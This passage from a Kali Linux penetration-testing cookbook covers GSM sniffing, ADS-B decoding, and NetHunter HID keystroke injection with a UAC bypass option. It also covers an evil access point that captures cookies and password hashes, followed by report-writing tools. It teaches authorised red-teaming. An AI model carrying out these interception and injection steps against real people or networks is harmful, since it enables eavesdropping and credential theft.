  1. Most countries use the `GSM900` band. In the USA, it's 850. We will use the following command to scan for GSM base stations:

    **kal -s GSM900 -g 40**

The following screenshot shows the output of the preceding command:

  2. In a few minutes, it will show us a list of base stations:

  3. We note the frequency; in our case, we will use `947.6 MHz` along with the offset.
  4. Open GQRX and enter it in the Receiver Options window:

  5. We can see in the waterfall that the device is able to catch signals perfectly.

  6. Let's look at this data at the packet level. We will use a tool known as `gr-gsm`. It can be installed using `apt install gr-gsm`:

  7. If we type `grgsm_` and press the _Tab_ key, we will see a list of different tools available for us:

  8. Let's use `grgsm_livemon` to monitor the GSM packets live. Open the Terminal and type `grgsm_livemon`:

  9. In the window that opens, switch to the frequency we captured in the previous steps using kalibrate:

We can zoom in to a particular range by dragging and selecting the area on the graphical window.

  10. In the new Terminal window, we start Wireshark by typing `wireshark`.
  11. Set the adapter to Loopback: lo and start the packet capture:

  12. Add the `gsmtap` filter:

  13. We should see the packets in the info window. Open the packet with the System Information Type 3 label:

  14. We will see the system information, such as Mobile Country Code, Network Code, and Location Area Code:

We now know how GSM packets travel.

# See also

Here are some great videos to give you a better understanding of GSM sniffing:

  * https://www.crazydanishhacker.com/category/gsm-sniffing-hacking/

# Decoding ADS-B messages with Dump1090

ADS-B stands for **Automatic Dependent Surveillance-Broadcast**. This system automatically broadcasts the exact location of an airplane using the onboard electronic equipment via a digital link.

As described in the official README of the tool, Dump1090 is a Mode S decoder specifically designed for RTLSDR devices.

Here are its main features:

  * It has robust decoding of weak messages; with mode1090, many users observed improved range compared to other popular decoders.
  * Network support is TCP30003 stream (MSG5), raw packets, HTTP.
  * The embedded HTTP server displays the currently-detected aircrafts on Google Maps.
  * It has single-bit error correction using 24-bit CRC.
  * It has the ability to decode DF11 and DF17 messages.
  * It has the ability to decode DF formats, such as DF0, DF4, DF5, DF16, DF20, and DF21, where the checksum is XOR-ed with the ICAO address by brute-forcing the checksum field using ICAO addresses.
  * It decodes raw IQ samples from file (using the `--ifile` command-line switch).
  * It has an interactive CLI mode where currently-detected aircrafts are shown as a list, refreshing as more data arrives.
  * It has CPR-coordinate decoding and track calculation from velocity.
  * It has TCP-server streaming and receiving raw data to/from connected clients (using `--net`).

In this recipe, we will use the `Dump1090` to look at air traffic with visuals.

# How to do it...

The following are the steps to use Dump1090:

  1. Download the tool from the Git repository using the `git clone https://github.com/antirez/dump1090.git` command:

  2. Go to the folder `dump1090` and run `make`.
  3. We get an executable. Run the tool using the following command:

    **./dump1090 --interactive -net**

The following screenshot shows the output of the preceding command:

  4. In a few minutes, we should see the flights, and by opening the browser to `http://localhost:8080`, we will be able to see the flights on the map as well.

# See also

For more information, check out <https://www.rtl-sdr.com/adsb-aircraft-radar-with-rtl-sdr/>.

# Kali in Your Pocket - NetHunters and Raspberries

In some cases, while doing pentesting, a client may ask us to do a proper red team attack. In such cases, walking into an office with a laptop in hand may look suspicious, which is why this chapter comes in handy. We can perform red teaming using a small device, such as a cell phone or Raspberry Pi, and carry out a pentest effectively by using them. In this chapter, we will talk about setting up Kali Linux on Raspberry Pi and some compatible cell phones and using it to perform some cool attacks on the network.

In this chapter, we will cover the following recipes:

  * Installing Kali on Raspberry Pi
  * Installing NetHunter
  * Superman typing – human interface device (HID) attacks
  * Can I charge my phone?
  * Setting up an evil access point

# Installing Kali on Raspberry Pi

Raspberry Pi is an affordable ARM computer. It is extremely small in size, making it portable, and because of this, it's best suited for Kali Linux-like systems to perform pentesting with portable devices.

In this recipe, you will learn about installing a Kali Linux image on a Raspberry Pi.

# Getting ready

Raspberry Pi supports SD cards. The best way to set up Kali on Raspberry Pi is to create a bootable SD card and insert it into the Pi.

# How to do it...

To install Kali on Raspberry Pi, follow these steps:

  1. We will first download the Kali Linux image from Offensive Security's website at <https://www.offensive-security.com/kali-linux-arm-images/>:

  2. Once the image is downloaded, we can use different ways to write this image into our memory card.
  3. On Linux and macOS, it can be done using the `dd` utility. The `dd` utility can be used using the following command:

    **dd if=/path/to/kali-2.1.2-rpi.img of=/dev/sdcard/path bs=512k**

  4. Once this process completes, we can plug the SD card into the Pi and power it on.
  5. We will see our Kali boot up, as follows:

You can refer to this link for a more detailed guide: https://docs.kali.org/downloading/kali-linux-live-usb-install.

# Installing NetHunter

Kali NetHunter is described by Offensive Security's official Wikipedia page as follows:

"The Kali NetHunter is an Android ROM overlay that includes a robust **Mobile Penetration Testing Platform**. The overlay includes a custom kernel, a Kali Linux chroot, and an accompanying Android application, which allows for easier interaction with various security tools and attacks. Beyond the penetration testing tools arsenal within Kali Linux, NetHunter also supports several additional classes, such as **HID Keyboard Attacks** , **BadUSB attacks** , **Evil AP MANA attacks** , and much more. For more information about the moving parts that make up NetHunter, check out our NetHunter Components page. NetHunter is an open source project developed by Offensive Security and the community."

In this recipe, you will learn how to install and configure NetHunter on an Android device and perform attacks using it. We can find a list of supported hardware at https://github.com/offensive-security/kali-NetHunter/wiki.

# Getting ready

Before we start, we need the device to be rooted with **Team Win Recovery Project** ( **TWRP** ) installed as a custom recovery.

# How to do it...

To install NetHunter, follow these steps:

  1. We download the NetHunter ZIP file and copy it to the SD card, and then we reboot the phone into the recovery mode; we are using OnePlus One with CyanogenMod 12.1. Recovery mode can be booted by pressing the power and volume down button simultaneously.
  2. Once it is in the recovery mode, we choose to install on the screen and select the ZIP file. We can download the ZIP from https://www.offensive-security.com/kali-linux-NetHunter-download

  3. When it's done, we reboot the phone and we should see NetHunter in our application menu.
  4. However, before we start, we need to install BusyBox on the phone from Play Store:

  5. Once this is done, we run the app and click on Install:

  6. Next, we open NetHunter, and from the menu, we choose Kali Chroot Manager:

  7. We click on ADD METAPACKAGES, and we will be all set for the next recipe:

# Superman typing – human interface device (HID) attacks

NetHunter has a feature that allows us to use our device and OTG cable as a keyboard, and hence, type any commands on any connected PC. This allows us to perform HID attacks.

"HID (human interface device) attack vector is a remarkable combination of customized hardware and restriction bypass via keyboard emulation. So, when we insert the device, it will be detected as a keyboard, and using the microprocessor and onboard flash memory storage, you can send a very fast set of keystrokes to the target's machine and completely compromise it."
–<https://www.safaribooksonline.com/library/view/metasploit/9781593272883>

# How to do it...

To perform HID attacks, follow these steps:

  1. We can perform HID attacks by opening the NetHunter app.
  2. In the menu, we choose HID Attacks:

  3. We will then see two tabs – the PowerSploit tab and the Windows CMD tab:

  4. Let's try the Windows CMD tab; in the Edit source box, we can type the command that we want to be executed. We can even choose UAC Bypass from the options to make the command run as admin on different versions of Windows:

  5. We choose Windows 10 from the UAC Bypass menu, and then we type a simple command as shown in the following screenshot:

    **echo "hello world"**

  6. Then, we connect our phone to a Windows 10 device and select Execute Attack from the menu:

  7. We will see the command being executed, as follows:

For more information, visit the GitHub repository at https://github.com/offensive-security/kali-NetHunter/wiki/NetHunter-HID-Attacks.

# Can I charge my phone?

In this recipe, we will look at a different type of HID attack, known as DuckHunter HID. This allows us to convert infamous USB Rubber Ducky scripts into NetHunter HID attacks.

# How to do it...

To perform DuckHunter HID attacks, follow these steps:

  1. We can perform DuckHunter HID attacks by opening the NetHunter app.
  2. In the menu, choose the DuckHunter HID attacks option.
  3. The Convert tab is where we can type or load our scripts for execution:

  4. Let's start by using a simple `Hello world!` script.
  5. We open a text editor on any device, then we connect our device and click on the Play button.

  6. We will see that the following script is automatically typed into the editor:

  7. There are multiple scripts available on the internet that can be used to perform multiple attacks using NetHunter:

  8. These can be downloaded and loaded into NetHunter and then later used to exploit a victim's PC by just connecting your phone to the PC with the USB cable

  9. The list can be found at https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads.

More information can be found on the GitHub repository at https://github.com/hak5darren/USB-Rubber-Ducky/wiki.

# Setting up an evil access point

The MANA toolkit is an evil access point implementation kit created by SensePost, which can be used to perform Wi-Fi, **Access Point** ( **AP** ), and **man-in-the-middle attack** ( **MITM** ) attacks. Once a victim connects to our access point, we will be able to perform multiple actions, which you will learn about in this recipe.

# How to do it...

To set up an evil access point, follow these steps:

  1. It's easy to use; in the NetHunter menu, we choose Mana Wireless Toolkit:

  2. It opens up in the General Settings tab. Here, we can choose the interface and other options, such as capturing cookies. This can be used to perform a wireless attack by performing an evil twin attack using an external wireless card supported by NetHunter:

  3. You learned about responder in the previous chapters. We can use responder via this toolkit to capture network hashes.
  4. First, we connect to the network we want to perform the attack on.

  5. Next, we switch to the Responder Settings tab and check on the attacks we wish to perform. We choose wlan0 as our interface:

  6. To change the interface that we want to listen to, we switch to the General Settings tab, and choose from the list of interfaces in the drop-down list:

  7. Now we click on Start mitm attack from the options menu on the right-hand side.
  8. We will see a Terminal window open and our attack will be performed. We will see the host information as well as password hashes captured by the attack:

Similarly, there are other attacks, such as Nmap scans, generating Metasploit payloads, and more.

For more information, visit the GitHub repository at https://github.com/offensive-security/kali-NetHunter/wiki.

# Writing Reports

In this chapter, we will go through one of the most important steps of a pentesting project: the report. A good report must contain every detail of the vulnerability. Our agenda is to keep it as detailed as possible, which may help the right person in the department to understand all of the details and work around it with a perfect patch.

There are different ways to create a pentesting report. In this chapter, you will learn a few tools that we can use to create a good report that covers everything in detail.

Let's look at some of the key points that should always be included in the report:

  * **Details of the vulnerability** : A good report must always contain in-depth details of the vulnerability discovered. These details will help management to understand the exact steps to take to replicate the vulnerability, and it will help the developers to understand and fix the issue in their code.
  * **The CVSS score** : This is a standard method that is used to rate the vulnerability; it also determines the urgency of the issue that has been discovered.
  * The impact of the bug on the organization should be included in the report.
  * Recommendations to patch the bug should be included in the report.

The **Common Vulnerability Scoring System** ( **CVSS** ) is a standardized method for rating IT vulnerabilities and determining the urgency of response.

In this chapter, we will cover the following recipes:

  * Using Dradis
  * Using MagicTree
  * Using Serpico

# Using Dradis

Dradis is an open source browser-based application that can be used to combine the output of different tools and then generate a report. It is extremely easy to use and comes pre-installed with Kali. However, running it may show errors. So, we will reinstall it and then learn how to use it.

# How to do it...

Let's perform the following steps:

  1. Install the dependencies by running the following commands:

    **apt-get install libsqlite3-dev**
     **apt-get install libmariadbclient-dev-compat**
     **apt-get install mariadb-client-10.1**
     **apt-get install mariadb-server-10.1**
     **apt-get install redis-server**

  2. Use the following command:

    **git clone https://github.com/dradis/dradis-ce.git**

The following screenshot shows the output of the preceding command:

  3. Change the directory:

    **cd dradis-ce/**

  4. Run the following command:

    **bundle install -path PATH/TO/DRADIS/FOLDER**

The following screenshot shows the output of the preceding command:

  5. Run the following command:

    **./bin/setup**

  6. To start the server, run the following command:

    **bundle exec rails server**

The following screenshot shows the output of the preceding command:

We can access Dradis on `https://localhost:3000`.

  7. Let's set up our password to access the framework and log in with the password:

  8. We are redirected to the dashboard:

The free version of Dradis supports the plugins of various tools, such as Nmap, Acunetix, and Nikto. Dradis allows us to create methodologies; it can be considered a checklist that can be useful while performing a pentest activity for an organization.

  9. To create a checklist, go to methodologies and click on Add New:

  10. Choose a name and click on Add to project:

We should see a sample list created for us.

  11. Edit the list by clicking on the Edit button on the right:

  12. The list is made in XML. We can edit and save it by clicking on Update methodology:

A new methodology has been added with the name Run Nikto:

Let's now look at how we can better organize our scan reports:

  1. Go to the nodes option in the left-hand menu and click on the + sign. A pop-up box will open where a network range can be added as a node; enter that and then click on Add:

  2. To add a new sub-node, select the node from the left-hand panel and then choose the option to add a sub-node. This can be used to organize a network-based activity based on hosts' IP addresses.

  3. Add notes and screenshots as **Proof of Concept** ( **PoC** ) of the bugs we find:

  4. Import the results of various tools into Dradis by choosing the Upload output from tool from the top menu:

  5. Upload the output file. Dradis has built-in plugins that can parse the reports of different tools:

  6. We can see the results in the left-hand pane under the title plugin.output:

  7. We can see the output of the scan results we just imported:

  8. Different scans can be imported, combined together, and then exported as a single report using the Dradis framework:

More information on Dradis can be found on the official website: <https://dradisframework.com/>.

# Using MagicTree

MagicTree is a data-management and reporting tool similar to Dradis. It is pre-installed in Linux. It organizes everything by using a tree and node structure. It also allows us to execute commands and export the results as a report.

# How to do it...

Let's perform the following steps:

  1. We download the JAR file from their official website
<https://www.gremwell.com/download>.
  2. Once the file is downloaded, we can run MagicTree by using the following command:

    **java -jar MagicTree-build1814.jar**

  3. Next, we accept the terms in the License Agreement and the application will open up.
  4. Create a new node by selecting Node | Autocreate...:

  5. In the box that opens up, enter the IP address of the host we want to be added.
  6. Once the node is added, it will appear in the left-hand pane:

  7. To run a scan on a host, go to the Table View. In the bottom, we will see an input box with the Command title:

  8. Run an Nmap scan on the host we just added.
  9. MagicTree allows us to query the data and send it to the shell. Click on the Q* button, which automatically selects the hosts for us:

  10. Type the `nmap -v -Pn -A -oX $results.xml $host` command:

  11. Since hosts are already identified, we do not need to mention them here. Then, we click on Run.
  12. We will see a window that shows the scan being executed along with the output. Once the scan is complete, click Import and it will be imported into the tool:

  13. We can run any other tool and import its report to MagicTree. We can generate a report using Report | Generate report...:

  14. Browse the list of templates we would like to use to save the report in:

  15. Click the Generate Report button to generate a report:

# Using Serpico

**Serpico** ( **SimplE RePort wrIting and COllaboration tool** ) is a tool developed in Ruby to speed up the process of report writing. It is open source and available on GitHub. In this recipe, we will look at the installation and usage of Serpico.

# Getting ready

If we have a 64-bit Kali, installation is easy: we just need to download and install the `.deb` file from the releases section of the tool (<https://github.com/SerpicoProject/Serpico/releases>):

Installing on 32-bit environment is a little tricky; we will look at the installation steps first:

  1. As per the official documentation, Ruby 2.3.5 is supported:

  2. Running the `rvm install 2.2.3` command will throw this error as the `libssl` version is not supported by Ruby 2.3.3:

  3. Install `libcups2` using the following command:

    **apt install libcups2**

  4. Since 2.4.1 supports `libssl`, we install this version using the following command:

    **rvm install "ruby-2.4.1"**

Once we run the preceding command, we can see the following output:

  5. Run the `rvm use 2.4.1` command.
  6. Clone the repository and switch to it:

  7. Install the bundler version 1.16.2 using the following command:

    **gem install bundler -v "1.16.2"**

  8. Edit `Gemfile` and change the Ruby version to `2.4.1`:

  9. We're now ready for the so run the following command:

    **bundle install**

After running the preceding command, the output will look as follows:

  10. As we can see from the preceding screenshot, the installation is completed successfully. Let's run Serpico using the following command:

    **ruby scripts/first_time.rb**

After running the preceding command, the output will look as follows:

# How to do it...

Let's perform the following steps:

  1. To start Serpico, run the following command:

    **ruby serpico.rb**

Once we run the preceding command, we can see the following output:

  2. Serpico's interface is up and running, so let's access it via the browser (`https://127.0.0.1:8443`):

  3. Log in with the username and password that were created when we ran `first_time.rb`. Upon login, we will see various options available, such as Add User and Add Report Template:

  4. Let's start with the basics of creating a report. Click on New Report and fill in the details:

The tool has a few built-in templates and allows us to create a report based on the type of assessment, such as network and web application.

  5. Click Save. It takes us to the next step where we enter the company website and assessment date. Save the result and then, from the left-hand menu, choose Create New Finding; it will open up a form:

  6. Once we save, we will be taken to the next page, which shows the list of all vulnerabilities as well as a pie chart:

  7. Once all of the findings are added, choose the Generate report option, which will generate a document for us automatically:

  8. Create and add custom templates in the tool, which will make it easier for us to generate a report as per our organization's standards.

# Other Books You May Enjoy

If you enjoyed this book, you may be interested in these other books by Packt:

**Kali Linux 2018: Windows Penetration Testing - Second Edition**
Wolf Halton, Bo Weaver

ISBN: 978-1-78899-746-1

  * Learn advanced set up techniques for Kali and the Linux operating system
  * Understand footprinting and reconnaissance of networks
  * Discover new advances and improvements to the Kali operating system
  * Map and enumerate your Windows network
  * Exploit several common Windows network vulnerabilities
  * Attack and defeat password schemes on Windows
  * Debug and reverse engineer Windows programs
  * Recover lost files, investigate successful hacks, and discover hidden data

**Mastering Kali Linux for Advanced Penetration Testing - Second Edition**
Vijay Kumar Velu

ISBN: 978-1-78712-023-5

  * Select and configure the most effective tools from Kali Linux to test network security
  * Employ stealth to avoid detection in the network being tested
  * Recognize when stealth attacks are being used against your network
  * Exploit networks and data systems using wired and wireless networks as well as web services
  * Identify and download valuable data from target systems
  * Maintain access to compromised systems
  * Use social engineering to compromise the weakest part of the network—the end users

# Leave a review - let other readers know what you think

Please share your thoughts on this book with others by leaving a review on the site that you bought it from. If you purchased the book from Amazon, please leave us an honest review on this book's Amazon page. This is vital so that other potential readers can see and use your unbiased opinion to make purchasing decisions, we can understand what our customers think about our products, and our authors can see your feedback on the title that they have worked with Packt to create. It will only take a few minutes of your time, but is valuable to other potential customers, our authors, and Packt. Thank you!

redpajama_set_name: RedPajamaBook